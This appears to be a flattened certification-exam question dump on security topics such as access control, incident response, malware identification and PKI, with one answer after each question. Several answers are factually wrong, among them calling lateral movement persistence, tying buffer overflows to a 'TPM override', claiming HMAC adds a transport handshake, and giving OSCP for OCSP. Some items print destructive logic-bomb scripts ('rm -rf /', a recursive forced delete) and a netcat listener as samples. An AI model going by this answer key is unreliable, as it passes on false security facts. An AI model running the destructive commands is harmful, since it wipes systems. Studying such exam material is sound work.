An organization is trying to decide which type of access control is most appropriate for the network. The current access control approach is too complex and requires significant overhead. Management would like to simplify the access control and provide user with the ability to determine what permissions should be applied to files, document, and directories. The access control method that BEST satisfies these objectives is:
Discretionary access control
A business sector is highly competitive, and safeguarding trade secrets and critical information is paramount. On a seasonal basis, an organization employs temporary hires and contractor personnel to accomplish its mission objectives. The temporary and contract personnel require access to network resources only when on the clock. Which of the following account management practices are the BEST ways to manage these accounts?
Employ time-of-day restrictions.
A cybersecurity analyst is looking into the payload of a random packet capture file that was selected for analysis. The analyst notices that an internal host had a socket established with another internal host over a non-standard port. Upon investigation, the origin host that initiated the socket shows this output: usera@host>history mkdirt /local/usr/bin/somedirectory nc -1 192.168.5.1 -p 9856 ping -c 30 8.8.8.8 -s 600 rm /etc/dir2/somefile rm -rm /etc/dir2/ traceroute 8.8.8.8 pskill pid 9487 usera@host >
nc -1 192.168.5.1 -p 9856
A security analyst is diagnosing an incident in which a system was compromised from an external ip address. The socket identified on the firewall was traced to 207.46.130.0:6666. Which of the following should the security analyst do to determine if the compromised system still has an active connection?
netstat
A security analyst is asked to check the configuration of the company's DNS service on the server. Which of the following command line tools should the analyst use to perform the initial assessment?
nslookup/dig
Using an ROT13 cipher to protect confidential information for unauthorized access is known as:
obfuscation.
Exercising various programming responses for the purpose of gaining insight into a system's security posture without exploiting the system is BEST described as:
passive security control testing.
Moving laterally within a network once an initial exploit is used to gain persistent access for the purpose of establishing further control of a system is known as:
persistence.
A penetration tester has successfully accessed a web server using an exploit in the user-agent string for Apache Struts. The tester then brute forces a credential that provides access to the back-end database server in a different subnet. This is an example of:
pivoting
When attackers use a compromised host as a platform for launching attacks deeper into a company's network, it is said that they are:
pivoting
Hacktivists are most commonly motivated by:
political cause
Malware that changes its binary pattern on specific dates at specific times to avoid detection is known as a (n):
polymorphic virus
A security analyst captures forensic evidence from a potentially compromised system for further investigation. The evidence is documented and securely stored to FIRST:
preserve the data
A buffer overflow can result in:
privilege escalation caused by TPM override.
A procedure differs from a policy in that it:
provides step-by-step instructions for performing a task.
After surfing the Internet, Joe, a user, woke up to find all his files were corrupted. His wallpaper was replaced by a message stating the files were encrypted and he needed to transfer money to a foreign country to recover them. Joe is a victim of:
ransomware
A preventive control differs from a compensating control in that a preventive control is:
relied on to address gaps in the existing control structure.
A security architect has convened a meeting to discuss an organization's key management policy. The organization has a reliable internal key management system, and some argue that it would be best to manage the cryptographic keys internally as opposed to using a solution from a third party. The company should use:
risk benefits analysis results to make a determination.
Using a one-time code that has been texted to a smartphone is an example of:
something you have
A manager makes an unannounced visit to the marketing department and performs a walk-through of the office. The manager observes unclaimed documents on printers. A closer look at these documents reveals employee names, addresses, ages, birth dates, marital/dependent statuses, and favorite ice cream flavors. The manager brings this to the attention of the marketing department head. The manager believes this information to be PII, but the marketing head does not agree. Having reached a stalemate, which of the following is the MOST appropriate action to take NEXT?
Find the privacy officer in the organization and let the officer act as the arbiter.
Which of the following would meet the requirements for multifactor authentication?
Fingerprint and password
A global gaming console manufacturer is launching a new gaming platform to its customers. Which of the following controls reduces the risk created by malicious gaming customers attempting to circumvent control by way of modifying consoles?
Firmware version control Automatic updates
A company moved into a new building next to a sugar mill. Cracks have been discovered in the walls of the server room, which is located on the same side as the sugar mill loading docks. The cracks are believed to have been caused by heavy trucks. Moisture has begun to seep into the server room, causing extreme humidification problems and equipment failure. Which of the following BEST describes the type of threat the organization faces?
Foundational
A security administrator in a bank is required to enforce an access control policy so no single individual is allowed to both initiate and approve financial transactions. Which of the following BEST represents the impact the administrator is deterring?
Fraud
Joe, a backup administrator, wants to implement a solution that will reduce the restoration time of physical servers. Which of the following is the BEST method for Joe to use?
Full
The Chief Executive Officer (CEO) of a major defense contracting company a traveling overseas for a conference. The CEO will be taking a laptop. Which of the following should the security administrator implement to ensure confidentiality of the data if the laptop were to be stolen or lost during the trip?
Full device encryption
After attempting to harden a web server, a security analyst needs to determine if an application remains vulnerable to SQL injection attacks. Which of the following would BEST assist the analyst in making this determination?
Fuzzer
A developer has just finished coding a custom web application and would like to test it for bugs by automatically injecting mailformed data into it. Which of the following is the developer looking to perform?
Fuzzing
A mobile device user is concerned about geographic positioning information being included in messages sent between users on a popular social network platform. The user turns off the functionality in the application, but wants to ensure the application cannot re-enable the setting without the knowledge of the user. Which of the following mobile device capabilities should the user disable to achieve the stated goal?
GEO-Tagging
A security analyst needs to generate a server certificate to be used for 802.1X and secure RDP connections. The analyst is unsure what is required to perform the task and solicits help from a senior colleague. Which of the following is the FIRST step the senior colleague will most likely tell the analyst to perform to accomplish this task?
Generate a CSR
A security engineer wants to add SSL to the public web server. Which of the following would be the FIRST step to implement the SSL certificate?
Generate a CSR
A systems administrator wants to protect data stored on mobile devices that are used to scan and record assets in a warehouse. The control must automatically destroy the secure container of mobile devices if they leave the warehouse. Which of the following should the administrator implement? (Choose two.)
Geofencing Containerization
The Chief Executive Officer (CEO) of an organization would like staff members to have the flexibility to work from home anytime during business hours, including during a pandemic or crisis. However, the CEO is concerned that some staff members may take advantage of the flexibility and work from high-risk countries while on holiday or outsource work to a thirdparty organization in another country. The Chief Information Officer (CIO) believes the company can implement some basic controls to mitigate the majority of the risk. Which of the following would be BEST to mitigate the CEO's concerns? (Choose two.)
Geolocation Time-of-day restrictions
An application team is performing a load-balancing test for a critical application during off-hours and has requested access to the load balancer to review which servers are up without having the administrator on call. The security analyst is hesitant to give the application team full access due to other critical applications running on the load balancer. Which of the following is the BEST solution for security analyst to process the request?
Give the application team read-only access.
A network administrator wants to gather information on the security of the network servers in the DMZ. The administrator runs the following command: Telnet www.example.com 80 Which of the following actions is the administrator performing?
Grabbing the web server banner
A company hired a firm to test the security posture of its database servers and determine if any vulnerabilities can be exploited. The company provided limited imformation pertaining to the infrastructure and database server. Which of the following forms of testing does this BEST describe?
Gray box
A company hired a firm to test the security posture of its database servers and determine if any vulnerabilities can be exploited. The company provided limited information pertaining to the infrastructure and database server. Which of the following forms of testing does this BEST describe?
Gray box
Joe, a contractor, is hired by a firm to perform a penetration test against the firm's infrastructure. When conducting the scan, he receives only the network diagram and the network list to scan against the network. Which of the following scan types is Joe performing?
Gray box
Which of the following types of penetration test will allow the tester to have access only to password hashes prior to the penetration test?
Gray box
During the penetration testing of an organization, the tester was provided with the names of a few key servers, along with their IP address. Which of the following is the organization conducting?
Gray box testing
An administrator intends to configure an IPSec solution that provides ESP with integrity protection, but not confidentiality protection. Which of the following AES modes of operation would meet this integrity-only requirement?
HMAC
When choosing a hashing algorithm for storing passwords in a web database, which of the following is the BEST explanation for choosing HMAC-MD5 over simple MD5?
HMAC adds a transport layer handshake, which improves authentication
An organization has implemented a two-step verification process to protect user access to data that is stored in the cloud. Each employee now uses an email address or mobile number to receive a code to access the data. Which of the following authentication methods did the organization implement?
HOTP
A security engineer is concerned about susceptibility to HTTP downgrade attacks because the current customer portal redirects users from port 80 to the secure site on port 443. Which of the following would be MOST appropriate to mitigate the attack?
HSTS
Which of the following are considered to be "something you do"? (Choose two.)
Handwriting Gait
An organization electronically processes sensitive data within a controlled facility. The Chief Information Security Officer (CISO) wants to limit emissions from emanating from the facility. Which of the following mitigates this risk?
Hardening the facility with a Faraday cage to contain emissions produced from data processing
A user is presented with the following items during the new-hire onboarding process: -Laptop -Secure USB drive -Hardware OTP token -External high-capacity HDD -Password complexity policy -Acceptable use policy -HASP key -Cable lock Which of the following is one component of multifactor authentication?
Hardware OTP token
Which of the following are MOST susceptible to birthday attacks?
Hashed passwords
Every morning, a systems administrator monitors failed login attempts on the company's log management server. The administrator notices the DBAdmin account has five failed username and/or password alerts during a ten-minute window. The systems administrator determines the user account is a dummy account used to attract attackers. Which of the following techniques should the systems administrator implement?
Honeypot
After a breach, a company has decided to implement a solution to better understand the technique used by the attackers. Which of the following is the BEST solution to be deployed?
Honeypot network
A state-sponsored threat actor has launched several successful attacks against a corporate network. Although the target has a robust patch management program in place, the attacks continue in depth and scope, and the security department has no idea how the attacks are able to gain access. Given that patch management and vulnerability scanners are being used, which of the following would be used to analyze the attack methodology?
Honeypots
Ann, a user, reports she is unable to access an application from her desktop. A security analyst verifies Ann's access and checks the SIEM for any errors. The security analyst reviews the log file from Ann's system and notices the following output: 2017--08-21 10:48:12 DROPTCP 172.20.89.232 239.255.255.255. 443 1900 250 -------RECIEVE 2017-- 08-21 10:48:12 DROP UDP 192.168.72.205 239.255.255.255 443 1900 250 --- RECIEVE Which of the following is MOST likely preventing Ann from accessing the application from the desktop?
Host-based firewall
Joe, a technician, is working remotely with his company provided laptop at the coffee shop near his home. Joe is concerned that another patron of the coffee shop may be trying to access his laptop. Which of the following is an appropriate control to use to prevent the other patron from accessing Joe's laptop directly?
Host-based firewall
Which of the following can affect electrostatic discharge in a network operations center?
Humidity controls
An auditor is reviewing the following output from a password-cracking tool: user1:Password1 user2:Recovery! user3:Alaskan10 user4:4Private user5:PerForMance2
Hybrid
A company is evaluating cloud providers to reduce the cost of its internal IT operations. The company's aging systems are unable to keep up with customer demand. Which of the following cloud models will the company MOST likely select?
IaaS
A company is performing an analysis of the corporate enterprise network with the intent of identifying any one system, person, function, or service that, when neutralized, will cause or cascade disproportionate damage to the company's revenue, referrals, and reputation. Which of the following an element of the BIA that this action is addressing?
Identification of critical systems
A computer emergency response team is called at midnight to investigate a case in which a mail server was restarted. After an initial investigation, it was discovered that email is being exfiltrated through an active connection. Which of the following is the NEXT step the team should take?
Identify the source of the active connection
A Chief Information Security Officer (CISO) is performing a BIA for the organization in case of a natural disaster. Which of the following should be at the top of the CISO's list?
Identity mission-critical applications and systems.
An attacker wearing a building maintenance uniform approached a company's receptionist asking for access to a secure area. The receptionist asks for identification, a building access badge and checks the company's list approved maintenance personnel prior to granting physical access to the secure are. The controls used by the receptionist are in place to prevent which of the following types of attacks?
Impersonation
An organization finds that most help desk calls are regarding account lockout due to a variety of applications running on different systems. Management is looking for a solution to reduce the number of account lockouts while improving security. Which of the following is the BEST solution for this organization?
Implement SSO.
The security administrator receives an email on a non-company account from a coworker stating that some reports are not exporting correctly. Attached to the email was an example report file with several customers' names and credit card numbers with the PIN. Which of the following is the BEST technical controls that will help mitigate this risk of disclosing sensitive data?
Implement a DLP solution on the email gateway to scan email and remove sensitive data or files
Joe, a user at a company, clicked an email link that led to a website that infected his workstation. Joe was connected to the network, and the virus spread to the network shares. The protective measures failed to stop this virus, and it has continued to evade detection. Which of the following should a security administrator implement to protect the environment from this malware?
Implement an IDS/IPS.
An accountant is attempting to log in to the internal accounting system and receives a message that the website's certificate is fraudulent. The accountant finds instructions for manually installing the new trusted root onto the local machine. Which of the following would be the company's BEST option for this situation in the future?
Implement certificate management.
The data backup window has expanded into the morning hours and has begun to affect production users. The main bottleneck in the process is the time it takes to replicate the backups to separate severs at the offsite data center. Which of the following uses of deduplication could be implemented to reduce the backup window?
Implement deduplication on the storage array to reduce the amount of drive space needed
A systems administrator has been assigned to create accounts for summer interns. The interns are only authorized to be in the facility and operate computers under close supervision. They must also leave the facility at designated times each day. However, the interns can access intern file folders without supervision. Which of the following represents the BEST way to configure the accounts? (Choose two.)
Implement time-of-day restrictions. Create privileged accounts.
A network administrator needs to restrict the users of the company's WAPs to the sales department. The network administrator changes and hides the SSID and then discovers several employees had connected their personal devices to the wireless network. Which of the following would limit access to the wireless network to only organization-owned devices in the sales department?
Implementing MAC filtering
A security analyst is securing smartphones and laptops for a highly mobile workforce. Priorities include: Remote wipe capabilities Geolocation services Patch management and reporting Mandatory screen locks Ability to require passcodes and pins Ability to require encryption Which of the following would BEST meet these requirements?
Implementing MDM software
A network technician is designing a network for a small company. The network technician needs to implement an email server and web server that will be accessed by both internal employees and external customers. Which of the following would BEST secure the internal network and allow access to the needed servers?
Implementing a DMZ segment for the server.
An employee on the Internet-facing part of a company's website submits a 20-character phrase in a small textbox on a web form. The website returns a message back to the browser stating Error: Table 'advprofile' entry into column 'lname' has exceeded number of allowed characters. Error saving database information. Of which of the following is this an example?
Improper error handling
Fuzzing is used to reveal which of the following vulnerabilities in web applications?
Improper input handling
Confidential corporate data was recently stolen by an attacker who exploited data transport protections. Which of the following vulnerabilities is the MOST likely cause of this data breach?
Improper input handling on FTP site
Which of the following would MOST likely appear in an uncredentialed vulnerability scan?
Inactive local accounts
An attacker has obtained the user ID and password of a datacenter's backup operator and has gained access to a production system. Which of the following would be the attacker's NEXT action?
Initiate a confidential data exfiltration process.
A security analyst accesses corporate web pages and inputs random data in the forms. The response received includes the type of database used and SQL commands that the database accepts. Which of the following should the security analyst use to prevent this vulnerability?
Input validation
A security auditor is putting together a report for the Chief Executive Officer (CEO) on personnel security and its impact on the security posture of the whole organization. Which of the following would be the MOST important factor to consider when it comes to personnel security?
Insider threats
A security analyst is hardening a web server, which should allow a secure certificate-based session using the organization's PKI infrastructure. The web server should also utilize the latest security techniques and standards. Given this set of requirements, which of the following techniques should the analyst implement to BEST meet these requirements? (Choose two.)
Install an X- 509-compliant certificate. Enable and configure TLS on the server.
A systems administrator wants to enforce the use of HTTPS on a new website. Which of the following should the systems administrator do NEXT after generating the CSR?
Install the certificate on the server.
A security administrator has created a new group policy object that utilizes the trusted platform module to compute a hash of system files and compare the value to a known-good value. Which of the following security concepts is this an example of?
Integrity measurement
The firewall administrator is adding a new certificate for the company's remote access solution. The solution requires that the uploaded file contain the entire certificate chain for the certificate to load properly. The administrator loads the company certificate and the root CA certificate into the file. The file upload is rejected. Which of the following is required to complete the certificate chain?
Intermediate authority
A new security administrator ran a vulnerability scanner for the first time and caused a system outage. Which of the following types of scans MOST likely caused the outage?
Intrusive non-credentialed scan
An organization recently acquired an ISO 27001 certification. Which of the following would MOST likely be considered a benefit of this certification?
It assures customers that the organization meets security standards.
Which of the following BEST explains how the use of configuration templates reduces organization risk?
It ensures consistency of configuration for initial system implementation.
Which of the following BEST describes why an air gap is a useful security control?
It physically isolates two or more networks, therefore helping prevent cross contamination or accidental data spillage.
An organization wants to upgrade its enterprise-wide desktop computer solution. The organization currently has 500 PCs active on the network. The Chief Information Security Officer (CISO) suggests that the organization employ desktop imaging technology for such a large-scale upgrade. Which of the following is a security benefit of implementing an imaging solution?
It provides a consistent baseline.
An internal intranet site is required to authenticate users and restrict access to content to only those who are authorized to view it. The site administrator previously encountered issues with credential spoofing when using the default NTLM setting and wants to move to a system that will be more resilient to replay attacks. Which of the following should the administrator implement?
Kerberos
A security analyst is hardening an authentication server. One of the primary requirements is to ensure there is mutual authentication and delegation. Given these requirements, which of the following technologies should the analyst recommend and configure?
Kerberos services - only Kerberos can do Mutal AUth and Delegation
The process of applying a salt and cryptographic hash to a password then repeating the process many times is known as which of the following?
Key stretching
A security administrator is reviewing the following information from a file that was found on a compromised host: cat suspiciousfile.txt www.CompTIA.org\njohn\miloveyou\n$200\nWorking Late\nJohn\nI%20will%20be%20in%20the%20office% 20till%206pm%20to%20finish%20the%20report\n Which of the following types of malware is MOST likely installed on the compromised host?
Keylogger
A security administrator is reviewing the following network capture: 192.168.20.43:2043 -> 10.234.66.21:80 POST "192.168.20.24 https://www.banksite.com<ENTER>JoeUsr<BackSPACE>erPassword<ENTER>" Which of the following malware is MOST likely to generate the above information?
Keylogger
A systems administrator found a suspicious file in the root of the file system. The file contains URLs, usernames, passwords, and text from other documents being edited on the system. Which of the following types of malware would generate such a file?
Keylogger
A company would like to transition its directory service from an OpenLDAP solution to Active Directory. The main goal for this project is security. All authentications to the domain controllers must be as secure as possible. Which of the following should the company use to achieve this goal?
LDAP
A security analyst wants to prevent current employees who previously worked in different departments from accessing resources that are no longer necessary for their present job roles. Which of the following policies would meet this objective?
Least privilege
A security technician has been given the task of preserving emails that are potentially involved in a dispute between a company and a contractor. Which of the following BEST describes this forensic concept?
Legal hold
Company policy requires the use if passphrases instead if passwords. Which of the following technical controls MUST be in place in order to promote the use of passphrases?
Length
During a data breach cleanup, it is discovered that not all of the sites involved have the necessary data wiping tools. The necessary tools are quickly distributed to the required technicians, but when should this problem BEST be revisited?
Lessons Learned
A company recently experienced a security breach. The security staff determined that the intrusion was due to an out-of-date proprietary software program running on a non-compliant server. The server was imaged and copied onto a hardened VM, with the previous connections re-established. Which of the following is the NEXT step in the incident response process?
Lessons learned
A newly hired Chief Security Officer (CSO) is reviewing the company's IRP and notices the procedures for zero-day malware attacks are being poorly executed, resulting in the CSIRT failing to address and coordinate malware removal from the system. Which of the following phases would BEST address these shortcomings?
Lessons learned
A security operations team recently detected a breach of credentials. The team mitigated the risk and followed proper processes to reduce risk. Which of the following processes would BEST help prevent this issue from happening again?
Lessons learned
Following the successful response to a data-leakage incident, the incident team lead facilitates an exercise that focuses on continuous improvement of the organization's incident response capabilities. Which of the following activities has the incident team lead executed?
Lessons learned review
When identifying a company's most valuable assets as part of a BIA, which of the following should be the FIRST priority?
Life
Which of the following are methods to implement HA in a web application server environment? (Choose two.)
Load balancers Application layer firewalls
A technician is configuring a load balancer for the application team to accelerate the network performance of their applications. The applications are hosted on multiple servers and must be redundant. Given this scenario, which of the following would be the BEST method of configuring the load balancer?
Locality-based
A company is examining possible locations for a hot site. Which of the following considerations is of MOST concern if the replication technology being used is highly sensitive to network latency?
Location proximity to the production site
A company is investigating a data compromise where data exfiltration occurred. Prior to the investigation, the supervisor terminates an employee as a result of the suspected data loss. During the investigation, the supervisor is absent for the interview, and little evidence can be provided form the role-based authentication system in use by the company. The situation can be identified for future mitigation as which of the following?
Log failure
A company is experiencing an increasing number of systems that are locking up on Windows startup. The security analyst clones a machine, enters into safe mode, and discovers a file in the startup process that runs Wstart.bat. @echo off :asdhbawdhbasdhbawdhb start notepad.exe start notepad.exe start calculator.exe start calculator.exe goto asdhbawdhbasdhbawdhb Given the file contents and the system's issues, which of the following types of malware is present?
Logic bomb
A security administrator found the following piece of code referenced on a domain controller's task scheduler: $var = GetDomainAdmins If $var != 'fabio' SetDomainAdmins = NULL With which of the following types of malware is the code associated?
Logic bomb
A security administrator is reviewing the following PowerShell script referenced in the Task Scheduler on a database server: $members = GetADGroupMember-Identity "Domain Admins: -Recursive | Select - ExpandProperty name if ($members -notcontains "JohnDoe"}{ Remove-Item -path C:\Database -recurse -force } Which of the following did the security administrator discover?
Logic bomb
An information security specialist is reviewing the following output from a Linux server. user@server:~$ crontab -1 5**** /usr/local/bin/backup.sh user@server: ~$ cat /usr/local/bin/backup.sh #!/bin/bash if ! grep -- quiet joeuser/etc/passwd then rm -rf/ fi Based on the above information, which of the following types of malware was installed on the server?
Logic bomb
During a routine check, a security analyst discovered the script responsible for the backup of the corporate file server has been changed to the following: date = get_currentdate() if date = $userA.Birthdate then exec ' rm -rf /' end if Which of the following BEST describes the type of malware the analyst discovered?
Logic bomb
Which of the following works by implanting software on systems but delays execution until a specific set of conditions is met?
Logic bomb
A computer forensics analyst collected a flash drive that contained a single file with 500 pages of text. Which of the following algorithms should the analyst use to validate the integrity of the file?
MD5
Which of the following is the LEAST secure hashing algorithm?
MD5
A company has a security policy that specifies all endpoint computing devices should be assigned a unique identifier that can be tracked via an inventory management system. Recent changes to airline security regulations have cause many executives in the company to travel with mini tablet devices instead of laptops. These tablet devices are difficult to tag and track. An RDP application is used from the tablet to connect into the company network. Which of the following should be implemented in order to meet the security policy requirements?
MDM software
Which of the following agreement types is a non-contractual agreement between two or more parties and outlines each party's requirements and responsibilities?
MOU
A security administrator is configuring a RADIUS server for wireless authentication. The configuration must ensure client credentials are encrypted end-to-end between the client and the authenticator. Which of the following protocols should be configured on the RADIUS server? (Choose two.)
MSCHAP PEAP
Which of the following are the BEST selection criteria to use when assessing hard drive suitability for time-sensitive applications that deal with large amounts of critical information? (Choose two.)
MTBF MTTR
The Chief Technology Officer (CTO) of a company, Ann, is putting together a hardware budget for the next 10 years. She is asking for the average lifespan of each hardware device so that she is able to calculate when she will have to replace each device. Which of the following categories BEST describes what she is looking for?
MTTF
Which of the following refers to the term used to restore a system to its operational state?
MTTR
An incident involving a workstation that is potentially infected with a virus has occurred. The workstation may have sent confidential data to an unknown internet server. Which of the following should a security analyst do FIRST?
Make a copy of everything in memory on the workstation.
A network administrator is attempting to troubleshoot an issue regarding certificates on a secure website. During the troubleshooting process, the network administrator notices that the web gateway proxy on the local network has signed all of the certificates on the local machine. Which of the following describes the type of attack the proxy has been legitimately programmed to perform?
Man-in-the-middle
Which of the following BEST describes an attack where communications between two parties are intercepted and forwarded to each party with neither party being aware of the interception and potential modification to the communications?
Man-in-the-middle
A systems administrator is configuring a system that uses data classification labels. Which of the following will the administrator need to implement to enforce access control?
Mandatory access control
An administrator is implementing a secure web server and wants to ensure that if the web server application is compromised, the application does not have access to other parts of the server or network. Which of the following should the administrator implement? (Choose two.)
Mandatory access control Rule-based access control
A company needs to fix some audit findings related to its physical security. A key finding was that multiple people could physically enter a location at the same time. Which of the following is the BEST control to address this audit finding?
Mantrap
An audit reported has identifies a weakness that could allow unauthorized personnel access to the facility at its main entrance and from there gain access to the network. Which of the following would BEST resolve the vulnerability?
Mantrap
Which of the following physical security controls is MOST effective when trying to prevent tailgating?
Mantrap
A network administrator was concerned during an audit that users were able to use the same passwords the day after a password change policy took effect. The following settings are in place: Users must change their passwords every 30 days. Users cannot reuse the last 10 passwords. Which of the following settings would prevent users from being able to immediately reuse the same passwords?
Minimum password age of five days
A company is performing an analysis of the corporate enterprise network with the intent of identifying what will cause losses in revenue, referrals, and/or reputation when out of commission. Which of the following is an element of a BIA that is being addressed?
Mission-essential function
After patching computers with the latest application security patches/updates; users are unable to open certain applications. Which of the following will correct the issue?
Modifying the security policy for patch management tools
Which of the following could help detect trespassers in a secure facility? (Choose two.)
Motion-detection sensors Security guards
A security analyst is specifying requirements for a wireless network. The analyst must explain the security features provided by various architecture choices. Which of the following is provided by PEAP, EAP-TLS, and EAP-TTLS?
Mutual authentication
A Chief Information Officer (CIO) drafts an agreement between the organization and its employees. The agreement outlines ramifications for releasing information without consent and/or approvals. Which of the following BEST describes this type of agreement?
NDA
Ann a security analyst is monitoring the IDS console and noticed multiple connections from an internal host to a suspicious call back domain. Which of the following tools would aid her to decipher the network traffic?
NETSTAT
An organization wants to implement a solution that allows for automated logical controls for network defense. An engineer plans to select an appropriate network security component, which automates response actions based on security threats to the network. Which of the following would be MOST appropriate based on the engineer's requirements?
NIPS
After a systems administrator installed and configured Kerberos services, several users experienced authentication issues. Which of the following should be installed to resolve these issues?
NTP server
In a lessons learned report, it is suspected that a well-organized, well-funded, and extremely sophisticated group of attackers may have been responsible for a breach at a nuclear facility. Which of the following describes the type of actors that may have been implicated?
Nation state
In a lessons-learned report, it is suspected that a well-organized, well-funded, and extremely sophisticated group of attackers may have been responsible for a breach at a nuclear facility. Which of the following describes the type of actors that may have been implicated?
Nation-state
Which of the following command line tools would be BEST to identify the services running in a server?
Netstat
A network administrator is creating a new network for an office. For security purposes, each department should have its resources isolated from every other department but be able to communicate back to central servers. Which of the following architecture concepts would BEST accomplish this?
Network segmentation
A security analyst is interested in setting up an IDS to monitor the company network. The analyst has been told there can be no network downtime to implement the solution, but the IDS must capture all of the network traffic. Which of the following should be used for the IDS implementation?
Network tap
A security administrator is trying to eradicate a worm, which is spreading throughout the organization, using an old remote vulnerability in the SMB protocol. The worm uses Nmap to identify target hosts within the company. The administrator wants to implement a solution that will eradicate the current worm and any future attacks that may be using zero-day vulnerabilities. Which of the following would BEST meet the requirements when implemented?
Network-based intrusion prevention system
A security specialist is notified about a certificate warning that users receive when using a new internal website. After being given the URL from one of the users and seeing the warning, the security specialist inspects the certificate and realizes it has been issued to the IP address, which is how the developers reach the site. Which of the following would BEST resolve the issue?
OSCP
A penetration tester has written an application that performs a bit-by-bit XOR 0xFF operation on binaries prior to transmission over untrusted media. Which of the following BEST describes the action performed by this type of application?
Obfusication
A department head at a university resigned on the first day of the spring semester. It was subsequently determined that the department head deleted numerous files and directories from the server-based home directory while the campus was closed. Which of the following policies or procedures could have prevented this from occurring?
Offboarding
When designing a web based client server application with single application server and database cluster backend, input validation should be performed:
On the application server
An administrator needs to protect five websites with SSL certificates. Three of the websites have different domain names, and two of the websites share the domain name but have different subdomain prefixes. Which of the following SSL certificates should the administrator purchase to protect all the websites and be able to administer them easily at a later time?
One SAN certificate
Which of the following is the MOST significant difference between intrusive and non-intrusive vulnerability scanning?
One has a higher potential for disrupting system operations.
After a recent internal breach, a company decided to regenerate and reissue all certificates used in the transmission of confidential information. The company places the greatest importance on confidentiality and non-repudiation, and decided to generate dual key pairs for each client. Which of the following BEST describes how the company will use these certificates?
One key pair will be used for encryption and decryption. The other will be used to digitally sign the data.
In which of the following ways does phishing and smishing differ?
One uses SMS as a delivery mechanism, and the other uses email
An organization requires three separate factors for authentication to sensitive systems. Which of the following would BEST satisfy the requirement?
One-time password sent to a smartphone, thumbprint, and home street address
Which of the following is the main difference between symmetric and asymmetric cryptographic algorithms?
Only one key used in symmetric algorithms
An organization wants to utilize a common, Internet-based third-party provider for authorization and authentication. The provider uses a technology based on OAuth 2.0 to provide required services. To which of the following technologies is the provider referring?
Open ID Connect
A datacenter manager has been asked to prioritize critical system recovery priorities. Which of the following is the MOST critical for immediate recovery?
Operating system software
Joe a computer forensic technician responds to an active compromise of a database server. Joe first collects information in memory, then collects network traffic and finally conducts an image of the hard drive. Which of the following procedures did Joe follow?
Order of volatility
After successfully breaking into several networks and infecting multiple machines with malware, hackers contact the network owners, demanding payment to remove the infection and decrypt files. The hackers threaten to publicly release information about the breach if they are not paid. Which of the following BEST describes these attackers?
Organized crime
Which of the following delineates why it is important to perform egress filtering and monitoring on Internet connected security zones of interfaces on a firewall?
Outbound traffic could be communicating to known botnet sources
An in-house penetration tester has been asked to evade a new DLP system. The tester plans to exfiltrate data through steganography. Discovery of which of the following would help catch the tester in the act?
Outgoing emails containing unusually large image files
An information security analyst needs to work with an employee who can answer questions about how data for a specific system is used in the business. The analyst should seek out an employee who has the role of:
Owner
Ann is the IS manager for several new systems in which the classifications of the systems' data are being decided. She is trying to determine the sensitivity level of the data being processed. Which of the following people should she consult to determine the data classification?
Owner
The help desk is receiving numerous password change alerts from users in the accounting department. These alerts occur multiple times on the same day for each of the affected users' accounts. Which of the following controls should be implemented to curtail this activity?
Password Minimum age
A security manager is creating an account management policy for a global organization with sales personnel who must access corporate network resources while traveling all over the world. Which of the following practices is the security manager MOST likely to enforce with the policy? (Choose two.)
Password complexity Group-based access control
Despite having implemented password policies, users continue to set the same weak passwords and reuse old passwords. Which of the following technical controls would help prevent these policy violations? (Choose two.)
Password complexity Password history
A hacker has a packet capture that contains: ....qw....................5 ...Joe.Smith..........E28393034930530s0359.. Jane.Doe.............AD1FALJFDOEAn3353Asd ...............................document.pdf.................9..... ...John.Key...........333erej936930................... Which of the following tools will the hacker use against this type of capture?
Password cracker
A company's AUP requires: Passwords must meet complexity requirements. Passwords are changed at least once every six months. Passwords must be at least eight characters long. An auditor is reviewing the following report: Username Last Login Last Changed Carol 2 Hours 90 Days David 2 Hours 30 Days Ann 1 hour 247 Days Joe 0.5 hours 7 days Which of the following controls should the auditor recommend to enforce the AUP?
Password expiration
A security team has downloaded a public database of the largest collection of password dumps on the Internet. This collection contains the cleartext credentials of every major breach for the last four years. The security team pulls and compares users' credentials to the database and discovers that more than 30% of the users were still using passwords discovered in this list. Which of the following would be the BEST combination to reduce the risks discovered?
Password reuse, password complexity, password expiration
To get the most accurate results on the security posture of a system, which of the following actions should the security analyst do prior to scanning?
Patch the scanner
A security analyst has been asked to perform a review of an organization's software development lifecycle. The analyst reports that the lifecycle does not contain a phase in which team members evaluate and provide critical feedback of another developer's code. Which of the following assessment techniques is BEST described in the analyst's report?
Peer review
A Chief Information Officer (CIO) recently saw on the news that a significant security flaws exists with a specific version of a technology the company uses to support many critical application. The CIO wants to know if this reported vulnerability exists in the organization and, if so, to what extent the company could be harmed. Which of the following would BEST provide the needed information?
Penetration test
A security program manager wants to actively test the security posture of a system. The system is not yet in production and has no uptime requirement or active user base. Which of the following methods will produce a report which shows vulnerabilities that were actually exploited?
Penetration testing
An attacker captures the encrypted communication between two parties for a week, but is unable to decrypt the messages. The attacker then compromises the session key during one exchange and successfully compromises a single message. The attacker plans to use this key to decrypt previously captured and future communications, but is unable to. This is because the encryption scheme in use adheres to:
Perfect forward secrecy
A security analyst wishes to scan the network to view potentially vulnerable systems the way an attacker would. Which of the following would BEST enable the analyst to complete the objective?
Perform a non-credentialed scan.
A portable data storage device has been determined to have malicious firmware. Which of the following is the BEST course of action to ensure data confidentiality?
Perform virus scan in the device
A company exchanges information with a business partner. An annual audit of the business partner is conducted against the SLA in order to verify:
Performance and service delivery metrics
A company has won an important government contract. Several employees have been transferred from their existing projects to support a new contract. Some of the employees who have transferred will be working long hours and still need access to their project information to transition work to their replacements. Which of the following should be implemented to validate that the appropriate offboarding process has been followed?
Permission auditing
An audit found that an organization needs to implement job rotation to be compliant with regulatory requirements. To prevent unauthorized access to systems after an individual changes roles or departments, which of the following should the organization implement?
Permission auditing and review
A security technician is configuring a new firewall appliance for a production environment. The firewall must support secure web services for client workstations on the 10.10.10.0/24 network. The same client workstations are configured to contact a server at 192.168.1.15/24 for domain name resolution. Which of the following rules should the technician add to the firewall to allow this connectivity for the client workstations? (Choose two.)
Permit 10.10.10.0/24 0.0.0.0 -p tcp --dport 443 Permit 10.10.10.0/24 192.168.1.15/24 -p tcp --dport 53
*LAB* Attacker redirects name resolution entries from legitimate site to fraudulent site
Pharming
*LAB* Attacker mass-mails product information to parties that have already opted out of receiving advertisements - broad set of recipients
Phishing
Which of the following controls does a mantrap BEST represent?
Physical
Which of the following security controls does an iris scanner provide?
Physical
Which of the following types of controls is a turnstile?
Physical
